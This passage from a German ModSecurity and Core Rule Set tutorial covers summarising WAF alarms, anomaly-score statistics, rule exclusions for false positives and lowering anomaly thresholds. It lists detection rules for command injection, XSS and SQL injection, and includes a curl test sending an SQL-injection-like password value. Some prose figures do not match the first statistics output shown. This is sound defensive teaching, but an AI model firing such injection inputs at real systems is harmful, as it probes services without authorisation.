2262 931120 Possible Remote File Inclusion (RFI) Attack: URL Payload Used w/Trailing Question …
2328 913120 Found request filename/argument associated with security scanner
6168 913100 Found User-Agent associated with security scanner
```
Damit können wir arbeiten. Aber es ist vielleicht notwendig, die Kommandos zu erklären. Wir extrahieren die Regel-IDs aus dem Error Log, dann sortieren wir sie, summieren sie mittels `uniq -c` und sortieren sie wieder nach der Anzahl der gefundenen Zahlen. Das ist der erste Kommando-Block. Eine Beziehung zwischen den einzelnen Regeln fehlt noch, denn mit der ID-Nummer ist noch nicht viel anzufangen. Wir erhalten die Namen aus dem Error Log, indem wir den vorher durchgeführten Test zeilenweise in einer Schleife durchführen. Wir füllen die ID, welche wir haben, in die Schleife (`$STR`). Dann separieren wir die Anzahl der jeweils pro ID gefundenen Alarme wieder von der ID. Die geschieht mittels einem eingebetteten Unterbefehls (`ID = $ (echo" $ STR "| sed -e" s /.* \ // ")`). Wir verwenden dann die IDs, die wir gerade gefunden haben, um das Error-Log noch einmal für einen Eintrag zu durchsuchen. Wir nehmen aber nur die erste Fundstelle und Extrahieren den *msg* Teil und zeigen ihn an. Fertig.
Man könnte jetzt denken, dass es besser wäre, einen zusätzlichen Alias zu definieren, um die ID und die Beschreibung der Regel in einem einzigen Schritt zu definieren. Dies führt uns jedoch auf den falschen Weg, denn es gibt Regeln, die dynamische Teile in und nach den Klammern enthalten (zum Beispiel Anomalie-Werte in den Regeln, die den Schwellenwert überprüfen: ID 949110 und 980130!). Das würde also nicht klappen. Denn natürlich wollen wir diese Alarme kombinieren und zusammenfügen, um die Regel nur einmal zuzuordnen. Um die Analyse wirklich zu vereinfachen, müssen wir die dynamischen Elemente herauslöschen. Hier ist ein zusätzlicher Alias, der diese Idee implementiert und auch Teil der `.apache-modsec.alias` Datei ist:
```bash
alias melidmsg='sed -e "s/.*\[id \"//" -e "s/\([0-9]*\).*\[msg \"/\1 /" -e "s/\"\].*//" \
-e "s/(Total .*/(Total ...) .../" \
-e "s/Incoming and Outgoing Score: [0-9]* [0-9]*/Incoming and Outgoing Score: .../"'
```
```bash
$> cat logs/error.log | melidmsg | sucs
1 920220 URL Encoding Abuse Attack Attempt
1 932115 Remote Command Execution: Windows Command Injection
2 920280 Request Missing a Host Header
2 941140 XSS Filter - Category 4: Javascript URI Vector
3 942270 Looking for basic sql injection. Common attack string for mysql, oracle and others.
4 933150 PHP Injection Attack: High-Risk PHP Function Name Found
5 942100 SQL Injection Attack Detected via libinjection
6 932110 Remote Command Execution: Windows Command Injection
7 911100 Method is not allowed by policy
8 932105 Remote Command Execution: Unix Command Injection
13 932100 Remote Command Execution: Unix Command Injection
15 941170 NoScript XSS InjectionChecker: Attribute Injection
15 941210 IE XSS Filters - Attack Detected.
17 920170 GET or HEAD Request with Body Content.
29 930130 Restricted File Access Attempt
35 932150 Remote Command Execution: Direct Unix Command Execution
67 933130 PHP Injection Attack: Variables Found
70 933160 PHP Injection Attack: High-Risk PHP Function Call Found
111 932160 Remote Command Execution: Unix Shell Code Found
113 941180 Node-Validator Blacklist Keywords
114 920270 Invalid character in request (null character)
140 931110 Possible Remote File Inclusion (RFI) Attack: Common RFI Vulnerable Parameter Name used w/URL Payload
166 930120 OS File Access Attempt
172 930100 Path Traversal Attack (/../)
224 920440 URL file extension is restricted by policy
245 941110 XSS Filter - Category 1: Script Tag Vector
247 941100 XSS Attack Detected via libinjection
247 941160 NoScript XSS InjectionChecker: HTML Injection
448 930110 Path Traversal Attack (/../)
2262 931120 Possible Remote File Inclusion (RFI) Attack: URL Payload Used w/Trailing Question Mark Character (?)
2328 913120 Found request filename/argument associated with security scanner
6168 913100 Found User-Agent associated with security scanner
```
Das bringt uns weiter. Es zeigt sich, dass das Core Rule Set viele böswillige Anfragen entdeckt hat und wir haben jetzt eine Idee, welche Regeln dabei eine Rolle spielten. Die Regel, die am häufigsten ausgelöst wurde, *913120*, ist keine Überraschung, und wenn man in der Ausgabe nach oben schaut, macht das alles wirklich Sinn.
### Schritt 6: Falsche Alarme auswerten
Der *Nikto* Scan löste also tausende von Alarmen aus. Sie waren wahrscheinlich gerechtfertigt. In der normalen Verwendung von *ModSecurity* stehen die Dinge freilich etwas anders aus. Das Core Rule Set wurde so konzipiert und optimiert, dass sie in der Paranoia Stufe 1 so wenige Fehlalarme wie möglich auslösen. Doch in der Produktion wird es früher oder später False Positives geben. Je nach Anwendung sind sie häufiger oder seltener. Aber selbst eine normale Installation dürfte früher oder später Fehlalarme aufweisen. Und wenn wir den Paranoia Level erhöhen, um gegenüber Angriffen wachsamer zu sein, dann wird auch die Menge der False Positives ansteigen. Sehr steil wird der Anstieg, wenn wir bis zu PL 3 oder 4 gehen. So steil, dass es einige explodieren nennen würden.
Um reibungslos laufen zu können, muss zuerst die Konfiguration fein abgestimmt werden. Legitime Anträge und Angriffsversuche müssen unterschieden werden können. Wir wollen ein grosse Trennschärfe erreichen. Wir wollen *ModSecurity* und das CRS so konfigurieren, dass das System genau weiss, wie man zwischen legitimen Anfragen und Angriffen unterscheidet.
Es gibt zwei Arten von Fehlverhalten der Rrgeln. Weiter oben haben wir Fehlalarme bereits diskutiert; wir nennen sie *False Positives*. Angriffe, die nicht erkannt werden, werden als *False Negatives* bezeichnet. Die Core Rules sind strikt und sehr sorgfältig, um die Anzahl der *Falschen Negatives* niedrig zu halten. Ein Angreifer muss viel Detailwissen besitzen, um das Regelwerk umgehen zu können; gerade in den höheren Paranoia-Levels. Leider führt diese Strenge auch dazu, dass Alarme für normale Anfragen ausgelöst werden. Meist weist es auf eine ungenügende Trennschärfe hin, wenn *False Positives* oder *False Negatives* vorkommen. Beide Werte hängen eng zusammen: Reduziert man die Menge der *False Negatives* erhält man dafür mehr *False Positives* und umgekehrt. Beide korrelieren stark miteinander.
Wir müssen diesen Zusammenhang überwinden: Wir wollen die Trennschärfe erhöhen, um die Anzahl der *False Positives* zu verringern, ohne die Anzahl der *Falschen Negatives* zu erhöhen. Wir können dies durch Feinabstimmung des Regelwerks an einigen wenigen Stellen tun. Für bestimmte Anfragen oder Parameter müssen dazu bestimmte Regeln ausgeschlossen werden. Aber zuerst müssen wir ein klares Bild von der aktuellen Situation haben: Wie viele *False Positives* gibt es und welche der Regeln werden in einem bestimmten Kontext verletzt? Wie viele *False Positives* sind wir bereit, auf dem System zu erlauben? Sie auf Null zu reduzieren ist sehr herausfordernd, wenn man den Schutz aufrecht erhalten will. Aber wir können mit Prozentsätzen arbeiten. Ein mögliches Ziel wäre: 99,99% der legitimen Anfragen sollten passieren, ohne von der WAF blockiert zu werden. Dies ist realistisch, erfordert aber je nach Anwendung ein wenig Arbeit. 99,99% der Anfragen ohne einen falschen Alarm ist auch eine Zahl, wo professionelle Nutzung beginnt. Aber ich habe Setups, wo wir nicht bereit sind, mehr als 1 falscher Alarm in 1 Million von Anfragen zu akzeptieren. Das sind 99,9999%.
Um ein solches Ziel zu erreichen, benötigen wir ein oder zwei Werkzeuge, um uns eine gute Basis zu verschaffen. Genauer gesagt, müssen wir mehr über die Zahlen herausfinden. Dann, in einem zweiten Schritt betrachten wir das Error Log, um zu verstehen, welche Regeln genau zu den Alarmen geführt haben. Wir haben gesehen, dass das Zugriffslog die Anomalie-Werte der Anfragen rapporiert. Versuchen wir diese Werte zu extrahieren und sie in einer passenden Form darzustellen.
In der Anleitung 5 arbeiteten wir mit einer Beispielprotokolldatei mit 10'000 Einträgen. Wir verwenden diese Protokolldatei erneut: [tutorial-5-example-access.log](https://www.netnea.com/files/tutorial-5-example-access.log). Die Datei kommt von einem echten Server, aber die IP-Adressen, Servernamen und Pfade wurden vereinfacht oder umgeschrieben. Die Informationen, die wir für unsere Analyse benötigen, sind aber noch da. Werfen wir doch mal einen Blick auf die Verteilung der Anomalie-Werte:
```
$> egrep -o "[0-9-]+ [0-9-]+$" tutorial-5-example-access.log | cut -d\ -f1 | sucs
3 10
5 3
6 2
55 5
9931 0
$> egrep -o "[0-9-]+$" tutorial-5-example-access.log | sucs
10000 0
```
Die erste Befehlszeile liest die eingehenden Anomalie-Werte. Es ist der zweitletzte Wert auf der Access-log Zeile. Wir nehmen die beiden letzten Werte (*egrep*) und dann schneiden wir den ersten mittels *cut* heraus. Danach sortieren wir die Ergebnisse mit dem vertrauten *sucs* alias. Der ausgehende Anomalie Wert ist der letzte Wert auf der Logzeile. Aus diesem Grund braucht es keinen *cut*-Befehl in der zweiten Kommandozeile.
Die Ergebnisse geben uns eine Vorstellung von der Situation: Die überwiegende Mehrheit der Anfragen passiert das ModSecurity-Modul ohne Regelverstoss: 9931 Anfragen mit der Punktzahl 0. 69 Anfragen verletzten eine oder mehrere Regeln. Das sind relative viele für eine Core Rule Set 3.1 Installation. In der Tat, ich habe zusätzliche falsche Alarme provoziert, um wirklich etwas zu sehen. Denn das CRS ist heutzutage soweit optimiert, dass es viel Verkehr braucht, um eine gewisse Menge an Alarmen zu erhalten - oder wir müssten den Paranoia Level auf einem nicht abgestimmten System sehr hoch einstellen.
Ein Wert von 10 erscheint dreimal, was zwei Verstössen in derselben Anfrage entspricht (die meisten Regeln erhalten 5 Punkte, wenn sie verletzt werden). Das ist in der Praxis ziemlich üblich. Aller Wahrscheinlichkeit nach werden wir eine ganze Reihe von Verstössen durch die Anfragen und nur sehr wenige Alarme durch die Antworten sehen; in unserem Beispiel oben 0.
Aber das gibt uns immer noch nicht die richtige Vorstellung von den *Tuning-Schritten*, die notwendig wären, um diese Installation reibungslos auszuführen. Um diese Informationen in einer geeigneten Form darzustellen, habe ich ein Ruby-Skript vorbereitet. Es analysiert die *Anomaliewerte*. Das Skript lässt sich hier herunterladen: [modsec-positive-stats.rb](https://www.netnea.com/files/modsec-positive-stats.rb). Platzieren Sie es in Ihrem privaten _bin_ Verzeichnis (Sie müssen möglicherweise das _ruby_-Paket installieren, damit es funktioniert). Es nimmt die beiden Anomaliewerte als Eingabe und erwartet sie durch einen Strichpunkt getrennt. Wir können das wie folgt bewerkstelligen:
```
$> cat tutorial-5-example-access.log | egrep -o "[0-9-]+ [0-9-]+$" | tr " " ";" | modsec-positive-stats.rb
INCOMING Num of req. | % of req. | Sum of % | Missing %
Number of incoming req. (total) | 10000 | 100.0000% | 100.0000% | 0.0000%
Empty or miss. incoming score | 0 | 0.0000% | 0.0000% | 100.0000%
Reqs with incoming score of 0 | 9931 | 99.3100% | 99.3100% | 0.6900%
Reqs with incoming score of 1 | 0 | 0.0000% | 99.3100% | 0.6900%
Reqs with incoming score of 2 | 6 | 0.0600% | 99.3700% | 0.6300%
Reqs with incoming score of 3 | 5 | 0.0500% | 99.4200% | 0.5800%
Reqs with incoming score of 4 | 0 | 0.0000% | 99.4200% | 0.5800%
Reqs with incoming score of 5 | 55 | 0.5499% | 99.9700% | 0.0300%
Reqs with incoming score of 6 | 0 | 0.0000% | 99.9700% | 0.0300%
Reqs with incoming score of 7 | 0 | 0.0000% | 99.9700% | 0.0300%
Reqs with incoming score of 8 | 0 | 0.0000% | 99.9700% | 0.0300%
Reqs with incoming score of 9 | 0 | 0.0000% | 99.9700% | 0.0300%
Reqs with incoming score of 10 | 3 | 0.0300% | 100.0000% | 0.0000%
Incoming average: 0.0332 Median 0.0000 Standard deviation 0.4163
OUTGOING Num of req. | % of req. | Sum of % | Missing %
Number of outgoing req. (total) | 10000 | 100.0000% | 100.0000% | 0.0000%
Empty or miss. outgoing score | 0 | 0.0000% | 0.0000% | 100.0000%
Reqs with outgoing score of 0 | 10000 | 100.0000% | 100.0000% | 0.0000%
Outgoing average: 0.0000 Median 0.0000 Standard deviation 0.0000
```
Das Skript trennt die Scores der eingehenden Anfragen von den Werten der Antworten. Die eingehenden werden zuerst behandelt. Bevor das Skript die Ergebnisse verarbeiten kann, beschreibt es, wie oft ein leerer Wert gefunden wurde. In unserem Fall war das 41 Mal so, wie wir gesehen haben. Dann kommt die Aussage für den Zahlenwert 0: 9920 Requests. Dies deckt 99,2% der Anfragen ab. Zusammen mit den leeren Werten liegen wir bereits bei 99,61% (*Sum of %*). 0,39% hatten einen höheren Anomalie Wert (*Missing %*). Wir hatten uns ja gesagt, dass 99,99% der Anfragen den Server ohne Alarme passieren können sollten. Wir sind damit etwa 0,38% oder 38 Anfragen von diesem Ziel entfernt. Der nächste vorkommende Anomalie Wert ist 2. Er erscheint 11 mal oder in etwa 0,11% der Requests. Der Anomalie Wert 3 erscheint 17 Mal und eine Punktzahl von 5 kann 8 Mal gefunden werden. Alles in allem sind wir damit bei 99,97% angelangt. Dann gibt es einen einzigen Request mit einer Punktzahl von 21 und schliesslich 2 Anfragen mit einer Punktzahl von 41. Um eine Deckung von 99,99% zu erreichen, müssen wir bis zu diesem Wert tunen. Aufgrund der 2 Anfragen mit 41 Punkten müssen wir hier faktisch eine Abdeckung von 100% erreichen.
In den oben rapportieren Werten gibt es vermutlich einige *False Positives*. In der Praxis müssen wir das ganz klar bestimmen, bevor wir mit der Feinabstimmung des Services beginnen. Es wäre völlig falsch, ein False Positive auf Grund eines berechtigten Alarms anzunehmen, den Alarm in der Zukunft zu unterdrücken und einen Angriff so zu verpassen. Vor dem Tuning müssen wir sicherstellen, dass keine Angriffe in der Protokolldatei vorhanden sind. Das ist nicht immer einfach. Manuelle Überprüfung hilft, man kann sich auf bekannte IP-Adressen beschränken, Pre-Authentifizierung, Testen / Tuning auf ein Test-System getrennt vom Internet, Filterung des Access-Protokoll nach Herkunftsland oder für eine bekannte IP-Adresse, etc.. Es gibt viele Möglichkeiten und es ist ein so grosses Thema, dass es schwierig ist, allgemein Empfehlungen zu machen. Aber das Problem muss auf jeden Fall sehr ernst genommen werden.
### Step 7: Behandlung von False Positives: Einzelne Regeln ausschalten
Der einfache Umgang mit einem False Positive besteht darin, die Regel einfach zu deaktivieren. Wir unterdrücken also den Alarm, in dem wir die Regel aus dem Regelsatz ausschliessen. Der CRS-Begriff für diese Technik heisst *Rules Exclusion* oder *Exclusion Rules*. Das Wort Regel kommt vor, weil dieser Ausschluss das Schreiben von Regeln oder Direktiven beinhaltet, die selbst wieder Regeln entsprechen.
Das Ausschliessen einer Regel macht wenig Aufwand, aber es ist natürlich potenziell riskant, da die Regel nicht nur für legitime Benutzer deaktiviert wird, sondern auch für Angreifer. Durch die vollständige Deaktivierung einer Regel beschränken wir die Fähigkeit von *ModSecurity*. Oder, drastischer ausgedrückt, ziehen wir der WAF die Zähne.
Vor allem bei höheren Paranoia-Niveaus gibt es Regeln, die einfach mit gewissen Anwendungen einfach nicht zusammenarbeiten und falsche Alarme in allen möglichen Situationen auslösen. Deshalb gibt es also durchaus Anwendungsfälle für das vollständige Deaktivieren einer Regel. Ein nennenswertes Beispiel ist Regel mit der ID `920300`: *Request Missing an Accept Heder*. Es gibt einfach sehr viele User-Agents, die Request ohne *Accept-Header* übermitteln, weshalb es eigens eine eigene Regel für dieses Problem gibt. Erhöhen wir den Paranoia Level mal auf 2 indem wir den Wert `tx.paranoia_level` in er Regel 900'000 auf 2 setzen. Dann senden wir eine Anfrage ohne *Accept-Header* und lösen damit einen Alarm aus (Ich empfehle, den Paranoia Level danach wieder auf 1 zurückzudrehen):
```bash
$> curl -v -H "Accept;" http://localhost/index.html
...
> GET /index.html HTTP/1.1
> User-Agent: curl/7.47.0
> Host: localhost
> Accept:
...
$> tail /apache/logs/error.log | melidmsg
920300 Request Missing an Accept Header
```
Die Regel wurde also wie gewünscht ausgelöst. Nun wollen wir diese Regel gezielt ausschliessen. Wir haben mehrere Optionen und starten mit der einfachsten: Wir schliessen die Regel zur Startzeit von Apache aus. Das bedeutet, dass wir die Regel aus dem Satz der geladenen Regel entfernen und damit sicher stellen, dass nach dem Start keine Prozessorzyklen mehr auf die Regel verschwendet werden. Natürlich können wir nur Dinge entfernen, die vorher geladen wurden. Diese Anweisung muss also nach der CRS-Include-Direktive platziert werden. Im Konfigurations-Block, den wir vorher in dieser Anleitung beschrieben haben, war ein Platz für diese Art von Auschluss-Anweisungen reserviert. Wir füllen unsere Direktive an dieser Stelle ein:
```bash
# === ModSec Core Rule Set: Startup Time Rules Exclusions (no ids)
# ModSec Exclusion Rule: 920300 Request Missing an Accept Header
SecRuleRemoveById 920300
```
Die Anweisung steht gemeinsam mit einem Kommentar, der beschreibt, was wir überhaupt ausschliessen. Es ist generell eine gute Praxis, das so zu handhaben. Wir haben die Option, Regeln mittels einer ID zu bezeichnen (das haben wir eben gemacht), mehrere Regeln durch ein Komma getrennt aufzulisten, einen ID Bereich zu bezeichnen oder aber wir können Regeln durch ihre Tags bezeichnen. Hier ist ein Beispiel, das die Regel durch einen ihrer Tags ausschliesst:
```bash
# ModSec Exclusion Rule: 920300 Request Missing an Accept Header
SecRuleRemoveByTag "MISSING_HEADER_ACCEPT$"
```
Wie wir sehen, akzeptiert diese Richtlinie reguläre Ausdrücke als Parameter. Leider ist die Unterstützung nicht universell: Zum Beispiel ist die mit einem Pipe-Zeichen ausgedrückte *OR* Funktionalität nicht implementiert. In der Praxis muss man ausprobieren und sehen, was funktioniert und was nicht.
Technisch gibt es eine zusätzliche Richtlinie, `SecRuleRemoveByMsg`. Allerdings sind die Meldungen nicht garantiert stabil zwischen Releases und sie sind ohnehin nicht sehr konsistent. Daher sollten wir nicht versuchen, Regel Ausschlüsse für das CRS über dieses Statement zu konstruieren.
Das sind also die *Rule Exclusions* zur Startzeit. Regeln so zu umgehen ist einfach und lesbar, aber es ist auch ein drastischer Schritt, den wir in einem Produktions-Setup nicht sehr oft verwenden können. Denn wenn unsere Probleme mit der Regel 920300 auf einen einzigen legitimen Uptime-Agent beschränkt sind, der lediglich die Verfügbarkeit unseres Services überprüft, indem er die Indexseite anfordert, können wir das Ausschalten der Regel diesen individuellen Request beschränken. Dies ist nicht mehr ein Regel Ausschluss zur Startzeit, sondern neu zur Laufzeit (*Runtime*). Wir wenden ihn so an, dass er mit einer bestimmten Bedingung verknüpft wird. Runtime Ausschlüsse nutzen die *SecRule* Direktive kombiniert mit einer speziellen Aktion, die den Regelausschluss ausführt. Dies muss zur Laufzeit vor dem Ausführen der betreffenden, alarmierenden Regel geschehen. Aus diesem Grund müssen Runtime-Regelausschlüsse vor der CRS-Include-Anweisung platziert werden. Auch hierfür haben wir im Regelblock einen Bereich reserviert:
```bash
# === ModSec Core Rule Set: Runtime Exclusion Rules (ids: 10000-49999)
# ModSec Exclusion Rule: 920300 Request Missing an Accept Header
SecRule REQUEST_FILENAME "@streq /index.html" \
"phase:1,nolog,pass,id:10000,ctl:ruleRemoveById=920300"
```
Das ist jetzt schwerer zu lesen. Besonders zu beachten ist das *ctl*-Statement: `ctl:ruleRemoveById=920300`. Dies ist die Steueraktion, die für Laufzeitänderungen der Konfiguration der ModSecurity-Regel-Engine verwendet wird. Wir verwenden *ruleRemoveById* als Steueranweisung und wenden diese auf die Regel ID 920300 an. Dieser Block wird innerhalb einer standardmässigen *SecRule* -Richtlinie platziert. Dies ermöglicht es uns, die volle Leistung von *SecRule* zu verwenden, um Regel 920300 in sehr spezifischen Situationen auszuschliessen. Hier schliessen wir es abhängig vom Pfad der Anforderung aus. Aber wir könnten es auch abhängig von der IP-Adresse des Agenten anwenden - oder eine Kombination der beiden in einer verketteten Befehlsfolge.
Wie bei den Ausschlüssen zur Startzeit sind wir nicht auf einen Ausschluss durch die Regel ID Nummer beschränkt. Ausschlüsse via Tags funktionieren ebenso (`ctl: ruleRemoveByTag`). Auch hier werden reguläre Ausdrücke unterstützt, aber nur bis zu einem gewissen Grad.
Startzeit Ausschlüsse von Regeln sowie Laufzeit Ausschlüsse haben dieselbe Wirkung. Intern aber sind sie fundamental unterschiedlich. Mit den Runtime-Ausschlüssen erhalten wir granulare Kontrolle auf Kosten der Leistung, da der Ausschluss für jede einzelne Anfrage neu ausgewertet wird. Startup Time Rule Exclusions sind performanter, und sie sind auch einfacher zu lesen und zu schreiben.
### Schritt 8: Behandlung von False Positives: Einzelne Regeln für bestimmte Parameter ausschalten
Als nächstes versuchen wir zu verhindern, dass eine Regel einen ganz bestimmten Parameter überprüft. Im Gegensatz zu unserem Beispiel 920300, das auf den spezifischen Accept-Header schaute, zielen wir nun auf Regeln, welche die ARGS-Variablengruppe untersuchen.
Nehmen wir an, wir haben ein Passwort-Feld in einem Authentifizierungsschema wie in der vorangegangenen Anleitung verwendet. Benutzern wird empfohlen, schwer zu erraten Passwörter mit vielen Sonderzeichen zu verwenden. Das Core Rule Set sendet darauf einen steten Strom von Warnungen aufgrund der seltsamen Muster in diesem Parameter-Feld.
Hier ist ein künstliches Beispiel, das die Regel 942100 auslöst, welche die Bibliothek libinjection nutzt, um SQL-Injektionen zu erkennen. Das Ausführen des folgenden Kommandos führt zu einem Alarm:
```bash
$> curl --data "password=' or f7x=gZs" localhost/login/login.do
```
Aus Sicherheitsperspektive ist mit diesem Passwort nichts Falsches dran. Tatsächlich sollten wir diese Regel einfach ausschalten. Aber natürlich wäre es ein Fehler, die Regel komplett auszuschalten, denn bei anderen Parametern als dem Kennwort macht die Regel sehr wohl Sinn. Idealerweise schliessen wir also nur den Parameter *password* von der Untersuchung durch diese Regel aus. Hier ist die Startzeit Direktive um diesen Parameter von der Regel 942100 zu verbergen:
```bash
# ModSec Exclusion Rule: 942100 SQL Injection Attack Detected via libinjection
SecRuleUpdateTargetById 942100 !ARGS:password
```
Diese Direktive addiert *nicht ARGS:password" zur Liste der Parameter für Regel 942100. Die schliesst den Passwort Parameter damit effektiv von der Regel aus. Die Direktive akzeptiert natürlich auch Regel-Bereiche als Parameter. Und natürlich existiert sie auch in einer Variante in der wir die Regel über ihre Tags definieren können:
```bash
# ModSec Exclusion Rule: 942100 SQL Injection Attack Detected via libinjection
SecRuleUpdateTargetByTag "attack-sqli" !ARGS:password
```
Das in diesem Beispiel verwendete Tag *attack-sqli* weist auf eine breite Palette von SQL-Injection-Regeln hin. So wird das Statement verhindern, dass eine ganze Klasse von Regeln den Passwort Parameter ignoriert. Dies ist für diesen Kennwortparameter sinnvoll, kann aber für andere Parameter zu weit gehen. Es hängt also wirklich von der Anwendung und dem betreffenden Parameter ab.
Ein Passwortparameter wird grundsätzlich nur bei der Login-Anforderung und der Registrierung verwendet, so dass wir mit der `SecRuleUpdateTargetById`-Direktive in der Praxis arbeiten können, damit alle Vorkommen des Parameters von der Regel 942100 befreit werden. Aber es gilt doch zu beachten, dass die Richtlinie serverweit wirkt. Wenn der Server also mehrere Dienste mit mehreren virtuellen Apache-Hosts beherbergt, die jeweils eine andere Anwendung ausführen, dann deaktivieren die beiden Befehle `SecRuleUpdateTargetById` und` SecRuleUpdateTargetByTag` diese Regeln für sämtliche Applikationen in deren Requests ein Parameter mit Namen *password* vorkommt.
Nehmen wir also an, dass wir *password* nur unter bestimmten Bedingungen ausschliessen möchten: Beispielsweise sollte die Regel immer dann aktiv bleiben, wenn ein Security Scanner die Anfrage übermittelt. Ein ziemlich guter Weg, um Scanner zu erkennen ist es, auf den *Referer-Header* zu achten. Wir können es so halten, dass wir den Header überprüfen und wenn er unserer Erwartung entspricht, dann deaktivieren wir die Überprüfung des Parameters *password* zur Laufzeit durch die Regel 942100. Dieser Runtime-Regelausschluss funktioniert erneut mit einer Control-Action; ähnlich wie wir es oben gesehen haben:
```bash
SecRule REQUEST_HEADERS:Referer "@streq http://localhost/login/displayLogin.do" \
"phase:1,nolog,pass,id:10000,ctl:ruleRemoveTargetById=942100;ARGS:password"
```
Das Format der Steuer-Aktion ist wirklich schwer zu begreifen: Zusätzlich zur Regel ID fügen wir einen Strichpunkt und dann den Passwort-Parameter als Teil der ARGS-Gruppe von Variablen hinzu. In ModSecurity wird dies als ARGS-Auflistung mit dem Doppelpunkt als Trennzeichen bezeichnet. Nicht ganz leicht, aber wir müssen versuchen, uns das zu merken!
Im professionellen Einsatz ist dies wahrscheinlich dasjenige Rule Exclusion Konstrukt, das am meisten verwendet wird (nicht jedoch mit dem Referer-Header, sondern mit der Variable *REQUEST_FILENAME*). Diese ganze Direktive ist auf der Parameterebene sehr granular und kann aufgrund der Flexibilität *SecRule* so konstruiert werden, dass es nur minimale Auswirkungen auf die legitimen Requests hat. Wenn wir lieber mit einem Tag als mit einer ID arbeiten möchten, dann geht das wie folgt:
```bash
SecRule REQUEST_HEADERS:Referer "@streq http://localhost/login/displayLogin.do" \
"phase:1,nolog,pass,id:10000,ctl:ruleRemoveTargetByTag=attack-sqli;ARGS:password"
```
Dieser Abschnitt war sehr wichtig. Daher noch einmal zusammenfassen: Wir definieren eine Regel, um eine andere Regel zu unterdrücken. Wir verwenden dafür ein Regel-Muster, das es uns erlaubt, einen Pfad als Bedingung definieren zu können. Dies ermöglicht es uns, Regeln für einzelne Teile einer Anwendung zu deaktivieren, aber nur an Stellen, an denen Fehlalarme auftreten. Und gleichzeitig bewahrt es uns davor, Regeln auf dem gesamten Server zu deaktivieren.
Damit haben wir alle vier grundlegenden Methoden gesehen, um falsche Alarme über Regelausschlüsse zu behandeln. Damit ist der Werkzeugkasten beisammen, um alle Fehlalarme nacheinander abzuarbeiten.
### Schritt 9: Die Anomalie-Limite nachjustieren
Die Behandlung von falschen Positiven ist manchmal mühsam. Doch wenn man das Ziel verfolgt, Applikationen wirklich zu schützen, dann lohnt es sich gewiss. Als wir das Statistik-Skript einführten, haben wir festgelegt, dass mindestens 99,99% der Anfragen das Regelwerk ohne False Positives passieren können sollten. Die verbleibenden Alarme, wohl in der Mehrzahl von Angreifern verursachte Anfragen, sollten blockiert werden. Aber wir laufen immer noch mit einer Anomalie Limite von 10'000. Wir müssen das auf ein vernünftiges Niveau reduzieren. Mit einer Grenze, die höher als 30 oder 40 liegt, ist es unwahrscheinlich, etwas ernsthaft stoppen zu können. Mit einem Schwellenwert von 20 sehen wir einen ersten Effekt und bei einer Limite von 10 erhalten wir einen ziemlich guten Schutz vor Standard-Angreifern. Selbst wenn eine einzelne Regel nur 5 Punkte erzielt, verursachen einige Angriffsklassen wie etwa SQL-Injections meistens mehrere Alarme, so dass eine Grenze von 10 schon recht viele Angreifer abwehrt. In anderen Kategorien ist die Abdeckung mit Regeln weniger umfangreich. Das bedeutet, dass die Akkumulation mehrerer Regeln weniger stark wirkt. So ist es perfekt möglich, mit einem bestimmten Angriff unter 10 zu bleiben. Deshalb gibt erst eine Limite von 5 für eingehende Requests und 4 für abgehende Responses einen wirklich guten Schutz. Dies entspricht den Default Werten des CRS.
Aber wie können wir die Grenze von 10'000 bis 5 senken, ohne die Produktion zu beeinträchtigen? Es braucht ein gewisses Vertrauen in die eigenen Tuning Fähigkeiten um diesen grossen Schritte zu schaffen. Besser ist es über mehrere Iterationen zu gehen: Eine erste Tuning-Runde wird mit einer Grenze von 1'000 durchgeführt. Wenn die eklatantesten Quellen von False Positives auf diese Weise eliminiert wurden, dann warten wir eine vorgegebene Zeitspanne und verringern dann die Grenze auf 50 und untersuchen die Protokolle erneut. Wir tunen und reduzieren später auf 30, dann 20, 10 und schliesslich 5. Nach jeder Reduktion muss man die neuen Log-Files überprüfen und das Statistik-Skript erneut ausführen. Ein Blick auf die Statistik erlaubt eine Aussage, was wir von einer Reduktion der Limiten erwarten können. Schauen wir uns die Statistik von vorher also nochmals genauer an:
```bash
INCOMING Num of req. | % of req. | Sum of % | Missing %
Number of incoming req. (total) | 10000 | 100.0000% | 100.0000% | 0.0000%
Empty or miss. incoming score | 41 | 0.4100% | 0.4100% | 99.5900%
Reqs with incoming score of 0 | 9920 | 99.2000% | 99.6100% | 0.3900%
Reqs with incoming score of 1 | 0 | 0.0000% | 99.6100% | 0.3900%
Reqs with incoming score of 2 | 11 | 0.1100% | 99.7200% | 0.2800%
Reqs with incoming score of 3 | 17 | 0.1699% | 99.8900% | 0.1100%
Reqs with incoming score of 4 | 0 | 0.0000% | 99.8900% | 0.1100%
Reqs with incoming score of 5 | 8 | 0.0800% | 99.9700% | 0.0300%
Reqs with incoming score of 6 | 0 | 0.0000% | 99.9700% | 0.0300%
Reqs with incoming score of 7 | 0 | 0.0000% | 99.9700% | 0.0300%
Reqs with incoming score of 8 | 0 | 0.0000% | 99.9700% | 0.0300%
Reqs with incoming score of 9 | 0 | 0.0000% | 99.9700% | 0.0300%
Reqs with incoming score of 10 | 0 | 0.0000% | 99.9700% | 0.0300%
Reqs with incoming score of 11 | 0 | 0.0000% | 99.9700% | 0.0300%
Reqs with incoming score of 12 | 0 | 0.0000% | 99.9700% | 0.0300%
Reqs with incoming score of 13 | 0 | 0.0000% | 99.9700% | 0.0300%
Reqs with incoming score of 14 | 0 | 0.0000% | 99.9700% | 0.0300%
Reqs with incoming score of 15 | 0 | 0.0000% | 99.9700% | 0.0300%
Reqs with incoming score of 16 | 0 | 0.0000% | 99.9700% | 0.0300%
Reqs with incoming score of 17 | 0 | 0.0000% | 99.9700% | 0.0300%
Reqs with incoming score of 18 | 0 | 0.0000% | 99.9700% | 0.0300%
Reqs with incoming score of 19 | 0 | 0.0000% | 99.9700% | 0.0300%
Reqs with incoming score of 20 | 0 | 0.0000% | 99.9700% | 0.0300%
Reqs with incoming score of 21 | 1 | 0.0100% | 99.9800% | 0.0200%
Reqs with incoming score of 22 | 0 | 0.0000% | 99.9800% | 0.0200%
Reqs with incoming score of 23 | 0 | 0.0000% | 99.9800% | 0.0200%
Reqs with incoming score of 24 | 0 | 0.0000% | 99.9800% | 0.0200%
Reqs with incoming score of 25 | 0 | 0.0000% | 99.9800% | 0.0200%
Reqs with incoming score of 26 | 0 | 0.0000% | 99.9800% | 0.0200%
Reqs with incoming score of 27 | 0 | 0.0000% | 99.9800% | 0.0200%
Reqs with incoming score of 28 | 0 | 0.0000% | 99.9800% | 0.0200%
Reqs with incoming score of 29 | 0 | 0.0000% | 99.9800% | 0.0200%
Reqs with incoming score of 30 | 0 | 0.0000% | 99.9800% | 0.0200%
